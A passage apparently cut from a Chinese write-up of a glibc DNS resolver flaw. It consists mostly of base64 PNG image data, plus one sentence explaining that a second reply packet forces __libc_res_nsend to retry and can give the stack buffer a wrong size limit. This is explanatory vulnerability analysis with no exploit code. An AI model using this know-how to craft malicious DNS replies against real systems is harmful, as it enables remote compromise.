bAABgPdSfNjV0xg8HL4x2FufUtj1dSQJzv355/HrScbpBkPr5LvkRy30AALAd1J9MuVEnXVx/Gjrjh2jjw8Gnh4P3xdnI9TPT80z81dwLVqI1m7nH9e+LlmPrdpyTn7efv7/sdpxu5+XbX7dxlgoavIPqFwAATwD1JyvPvFz/nXH9KV/+mfjxahvZFdPEl5dnrJdvf92OXafbeTd+vP38/Xr8+O3tabLDNgpgAACA+pOVDfNTJruULZcbG84WZsuPBPnp3fgxTlGp/EQXHgAA20D9yUpN+Snc2WAA+MnP2y9xZjq9/pzqvyM/AQCwFdSfrGy9/848P3Uck/FPXfdr/LW7k5+3qfHj9N8BALAd1J8MJZM8SaPIjb5/J44ft8pPjskYcM38BUavBQAABqg/7VDN5R867wAA2A7qTztVYwWI+TMBANgW6k+7Vs/6LdM54QkAgG2h/gQAAGCH+hMAAIAd6k8AAAB2qD/VdsyGW3Oc1nC2KJmhCgCAvUf9aV8IU3dWx+x7gqfXnx8zSxQ7fNEPAPAEUH+q7ZiWdpifjOapCiY6zy8R02GiKQBA61F/qpN78Ml3Xi/DOc3fh5El2RIGpqEzfkjNfj72nI7TfeGnXhL+WTrmC//gvRcdZOk8K2lVdp70AmJ+kspX0/nKbAlkAACaj/pTbcd0uh334NPDweth9Gc/k4q6L/wwKnWk+pM2P0nH/BQuMuO8T4KazKp6JOcnoYJFfgIAtAj1pzq5+S45pfiklJo6Vvkp180n76mhrMoXm85Xq/tAujSlyU904QEAWo36U23HdOT89D6uHqXVmp+0yE8AgKeI+lOdNFlHHifuZocuxb17zzxl+NQ28lNV/XfGw6oAAGg06k+1HdORs06mC0+pRSXbw069YTIk/LW/tfxkOH7c/frl8Vbx9ST5qTB+fDhbrJjXAADQEtSfkGM0f0EBsYI18JbUnwAALUH9qbZjNpnZ/Jmy/PyZQ++OzjsAQJtQf4JszfVbpnM66QAArfe/F3/+oZPZdV/qOk+tVgQAAHbMIj8BAADAof4E1EScZ8tq8i0AQG2oP9lwXi+F2QGC6ZeMlpZz1h5XtDPBRAOZuQbEjaaXaZsJBt5SnOu8ZTbMTwPPn0nzrG6T64dvRKM/sTrD2WKZu0XiRgCwR/3JhpiftDOGCzb5XttGnn//Fk7U9Ov6ecGeA28ZPCzVOQjEjeaXaZmfpvNV5gkXp7dK5zQ/+Xn75fHb21On20nmBT35efv5+8twn2Sy0Jdvf0V7JsSNemvnp2AmiInnz1zvLnuvti9+9+3t5o3raj/e+a+C6jYCgC3qT5saOuNwad5Sm86rtDb3azy/5fPv3778fKfdc+Atg0ed+tQUN5pfpl1+ykXMgbcMXz6sNC6c/Lz9/OtbmJaanJ+iW7Gj+tza+WlXb1zRx1tM/CwuBGALqD+ZcqNOurj+FE//HbGd13vir+aed1d5X5USAl6+/ZWZKzzfyJU/cabzlfIgFzdaXaYbrUAc/UgJClHeGka3IiIuY1xZAD35efv5+7u3v76edJqdn+T6k+vf+15c71Hvba4PTtmovh2aj2IuPwnHLPskV//G6T7eYsW3tjIwgBah/mQlv4ivef0p/1vvxI9HFBU/YJQnVvLcEjdKL3/59tft2HW6nXfjx9vP36/Hj0WP+fCw6caIG9e4zOFsEf5UyE/h/dQ/20oee5vdpfAx/Pz7t7Hb7P*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" alt="" />
第二次回包强制让__libc_res_nsend重试,这可以导致栈指针指向的栈空间被设置了错误的上限
aaarticlea/png;base64,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